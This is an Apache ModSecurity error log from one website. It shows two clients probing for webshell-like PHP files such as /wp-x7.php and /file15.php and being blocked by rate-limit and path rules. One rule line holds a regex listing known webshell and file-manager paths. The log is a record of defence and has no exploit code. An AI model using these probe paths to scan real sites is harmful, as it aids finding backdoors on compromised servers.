[Mon Apr 06 18:51:48.476464 2026] [:error] [pid 35687:tid 35746] [client 51.120.80.210:37767] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "adOQRJ3LtDozV0i8BitbWgAAAFc"]
[Mon Apr 06 18:51:50.369809 2026] [:error] [pid 1827:tid 1842] [client 51.120.80.210:5253] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "adOQRuVeb6S_DnjZ2xH5JwAAAg0"]
[Mon Apr 06 18:51:51.360069 2026] [:error] [pid 1827:tid 1829] [client 74.248.150.154:53144] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "adOQR-Veb6S_DnjZ2xH5LAAAAgA"]
[Mon Apr 06 18:51:53.461481 2026] [:error] [pid 35688:tid 35752] [client 74.248.150.154:42803] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "adOQSeZ85qg4jLsRpQxywAAAAII"]
[Mon Apr 06 18:51:54.027795 2026] [:error] [pid 35688:tid 35763] [client 51.120.80.210:46922] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "adOQSuZ85qg4jLsRpQxyxwAAAI0"]
[Mon Apr 06 18:51:54.514571 2026] [:error] [pid 35688:tid 35769] [client 74.248.150.154:48157] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "adOQSuZ85qg4jLsRpQxyzAAAAJM"]
[Mon Apr 06 18:51:55.271650 2026] [:error] [pid 35687:tid 35743] [client 74.248.150.154:63940] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "adOQS53LtDozV0i8BitbWwAAAFQ"]
[Mon Apr 06 18:51:55.953485 2026] [:error] [pid 10280:tid 10287] [client 51.120.80.210:36410] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mds.php"] [unique_id "adOQS18QUJkf8g-BFfPNTgAAAcQ"]
[Mon Apr 06 18:51:56.539930 2026] [:error] [pid 10280:tid 10296] [client 74.248.150.154:41572] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "adOQTF8QUJkf8g-BFfPNTwAAAc0"]
[Mon Apr 06 18:51:58.496050 2026] [:error] [pid 9442:tid 9459] [client 51.120.80.210:36388] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mds.php"] [unique_id "adOQTkPsNnAJTnmz6saFMgAAAQ8"]
[Mon Apr 06 18:52:01.034889 2026] [:error] [pid 9442:tid 9464] [client 51.120.80.210:46707] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mds.php"] [unique_id "adOQUUPsNnAJTnmz6saFOgAAARQ"]
[Mon Apr 06 18:52:05.269174 2026] [:error] [pid 35688:tid 35759] [client 51.120.80.210:57997] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mds.php"] [unique_id "adOQVeZ85qg4jLsRpQxy-QAAAIk"]
[Mon Apr 06 18:52:06.792683 2026] [:error] [pid 35688:tid 35764] [client 74.248.150.154:39813] [client 74.248.150.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "adOQVuZ85qg4jLsRpQxzAAAAAI4"]
[Mon Apr 06 18:52:08.671915 2026] [:error] [pid 9442:tid 9460] [client 51.120.80.210:44069] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "adOQWEPsNnAJTnmz6saFSwAAARA"]
[Mon Apr 06 18:52:11.043308 2026] [:error] [pid 35688:tid 35759] [client 51.120.80.210:58100] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "adOQW-Z85qg4jLsRpQxzEwAAAIk"]
[Mon Apr 06 18:52:13.205476 2026] [:error] [pid 38562:tid 38583] [client 51.120.80.210:43584] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "adOQXaeD6Ohe6wzRuy5oUQAAAVI"]
[Mon Apr 06 18:52:15.144681 2026] [:error] [pid 9442:tid 9444] [client 51.120.80.210:43778] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "adOQX0PsNnAJTnmz6saFbQAAAQA"]
[Mon Apr 06 18:52:17.090562 2026] [:error] [pid 9442:tid 9459] [client 51.120.80.210:38636] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "adOQYUPsNnAJTnmz6saFcAAAAQ8"]
[Mon Apr 06 18:52:18.960732 2026] [:error] [pid 9442:tid 9457] [client 51.120.80.210:58030] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "adOQYkPsNnAJTnmz6saFfgAAAQ0"]
[Mon Apr 06 18:52:20.165309 2026] [:error] [pid 10280:tid 10297] [client 51.120.80.210:36407] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "adOQZF8QUJkf8g-BFfPNcgAAAc4"]
[Mon Apr 06 18:52:21.080808 2026] [:error] [pid 35688:tid 35765] [client 74.248.150.154:48985] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-x7.php"] [unique_id "adOQZeZ85qg4jLsRpQxzNQAAAI8"]
[Mon Apr 06 18:52:21.337882 2026] [:error] [pid 35688:tid 35771] [client 51.120.80.210:58064] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "adOQZeZ85qg4jLsRpQxzNgAAAJU"]
[Mon Apr 06 18:52:22.532808 2026] [:error] [pid 9413:tid 9423] [client 51.120.80.210:61603] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-is.php"] [unique_id "adOQZnllvEK3chn01wG3ZgAAAYg"]
[Mon Apr 06 18:52:23.344056 2026] [:error] [pid 9442:tid 9456] [client 51.120.80.210:43589] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-is.php"] [unique_id "adOQZ0PsNnAJTnmz6saFgQAAAQw"]
[Mon Apr 06 18:52:24.151960 2026] [:error] [pid 35688:tid 35763] [client 51.120.80.210:38618] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-is.php"] [unique_id "adOQaOZ85qg4jLsRpQxzPgAAAI0"]
[Mon Apr 06 18:52:25.139072 2026] [:error] [pid 9442:tid 9466] [client 51.120.80.210:36383] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-is.php"] [unique_id "adOQaUPsNnAJTnmz6saFhQAAARY"]
[Mon Apr 06 18:52:25.480280 2026] [:error] [pid 35688:tid 35759] [client 74.248.150.154:50149] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-x7.php"] [unique_id "adOQaeZ85qg4jLsRpQxzRgAAAIk"]
[Mon Apr 06 18:52:25.900970 2026] [:error] [pid 35688:tid 35758] [client 51.120.80.210:39631] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file15.php"] [unique_id "adOQaeZ85qg4jLsRpQxzRwAAAIg"]
[Mon Apr 06 18:52:26.855365 2026] [:error] [pid 35686:tid 35707] [client 51.120.80.210:58076] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file15.php"] [unique_id "adOQasMKdea6oORd2fzEPgAAAAs"]
[Mon Apr 06 18:52:27.618369 2026] [:error] [pid 35688:tid 35751] [client 51.120.80.210:50869] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file15.php"] [unique_id "adOQa-Z85qg4jLsRpQxzUwAAAIE"]
[Mon Apr 06 18:52:28.189557 2026] [:error] [pid 35688:tid 35759] [client 74.248.150.154:49194] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-x7.php"] [unique_id "adOQbOZ85qg4jLsRpQxzWAAAAIk"]
[Mon Apr 06 18:52:28.294718 2026] [:error] [pid 9442:tid 9445] [client 51.120.80.210:37018] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file15.php"] [unique_id "adOQbEPsNnAJTnmz6saFigAAAQE"]
[Mon Apr 06 18:52:28.962788 2026] [:error] [pid 38562:tid 38586] [client 51.120.80.210:39654] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "adOQbKeD6Ohe6wzRuy5oYQAAAVU"]
[Mon Apr 06 18:52:29.140777 2026] [:error] [pid 9442:tid 9460] [client 74.248.150.154:49156] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-x7.php"] [unique_id "adOQbUPsNnAJTnmz6saFiwAAARA"]
[Mon Apr 06 18:52:30.036601 2026] [:error] [pid 35688:tid 35770] [client 74.248.150.154:52282] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "adOQbuZ85qg4jLsRpQxzXQAAAJQ"]
[Mon Apr 06 18:52:30.883462 2026] [:error] [pid 9442:tid 9456] [client 51.120.80.210:40712] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "adOQbkPsNnAJTnmz6saFjgAAAQw"]
[Mon Apr 06 18:52:32.451094 2026] [:error] [pid 1827:tid 1847] [client 51.120.80.210:50846] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "adOQcOVeb6S_DnjZ2xH5UQAAAhI"]
[Mon Apr 06 18:52:33.074684 2026] [:error] [pid 9442:tid 9448] [client 51.120.80.210:5381] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "adOQcUPsNnAJTnmz6saFkwAAAQQ"]
[Mon Apr 06 18:52:34.050822 2026] [:error] [pid 35688:tid 35766] [client 74.248.150.154:48980] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "adOQcuZ85qg4jLsRpQxzZgAAAJA"]
[Mon Apr 06 18:52:34.206006 2026] [:error] [pid 35688:tid 35753] [client 51.120.80.210:44038] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "adOQcuZ85qg4jLsRpQxzZwAAAIM"]
[Mon Apr 06 18:52:35.441230 2026] [:error] [pid 9442:tid 9447] [client 51.120.80.210:58063] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "adOQc0PsNnAJTnmz6saFlQAAAQM"]
[Mon Apr 06 18:52:36.997093 2026] [:error] [pid 35688:tid 35758] [client 51.120.80.210:40729] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "adOQdOZ85qg4jLsRpQxzjAAAAIg"]
[Mon Apr 06 18:52:42.545890 2026] [:error] [pid 35688:tid 35762] [client 74.248.150.154:36370] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "adOQeuZ85qg4jLsRpQxz3wAAAIw"]
[Mon Apr 06 18:52:47.638428 2026] [:error] [pid 35688:tid 35763] [client 74.248.150.154:44204] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v4.php"] [unique_id "adOQf-Z85qg4jLsRpQxz8wAAAI0"]
[Mon Apr 06 18:52:54.469417 2026] [:error] [pid 35688:tid 35771] [client 74.248.150.154:55487] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v4.php"] [unique_id "adOQhuZ85qg4jLsRpQxz9QAAAJU"]
[Mon Apr 06 18:53:01.440610 2026] [:error] [pid 10280:tid 10299] [client 74.248.150.154:55480] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v4.php"] [unique_id "adOQjV8QUJkf8g-BFfPNqwAAAdA"]
[Mon Apr 06 18:53:09.323683 2026] [:error] [pid 38562:tid 38572] [client 74.248.150.154:59839] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "adOQlaeD6Ohe6wzRuy5omAAAAUc"]
[Mon Apr 06 18:53:11.678639 2026] [:error] [pid 35688:tid 35759] [client 74.248.150.154:50171] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "adOQl-Z85qg4jLsRpQx0EwAAAIk"]
[Mon Apr 06 18:53:12.709021 2026] [:error] [pid 1827:tid 1833] [client 74.248.150.154:55438] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "adOQmOVeb6S_DnjZ2xH5bgAAAgQ"]
[Mon Apr 06 18:53:13.570771 2026] [:error] [pid 35688:tid 35762] [client 74.248.150.154:50139] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "adOQmeZ85qg4jLsRpQx0IgAAAIw"]
[Mon Apr 06 18:53:14.378458 2026] [:error] [pid 35688:tid 35759] [client 74.248.150.154:50112] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "adOQmuZ85qg4jLsRpQx0KAAAAIk"]
[Mon Apr 06 18:53:15.653835 2026] [:error] [pid 9413:tid 9433] [client 74.248.150.154:43334] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "adOQm3llvEK3chn01wG3fAAAAZI"]
[Mon Apr 06 18:53:16.579058 2026] [:error] [pid 38562:tid 38571] [client 74.248.150.154:5485] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "adOQnKeD6Ohe6wzRuy5opQAAAUY"]
[Mon Apr 06 18:53:18.080928 2026] [:error] [pid 1827:tid 1830] [client 74.248.150.154:36390] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "adOQnuVeb6S_DnjZ2xH5eQAAAgE"]
[Mon Apr 06 18:53:18.837577 2026] [:error] [pid 10280:tid 10302] [client 74.248.150.154:39343] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "adOQnl8QUJkf8g-BFfPNuwAAAdM"]
[Mon Apr 06 18:53:24.047541 2026] [:error] [pid 35687:tid 35730] [client 74.248.150.154:43342] [client 74.248.150.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "adOQpJ3LtDozV0i8BitbpQAAAEc"]
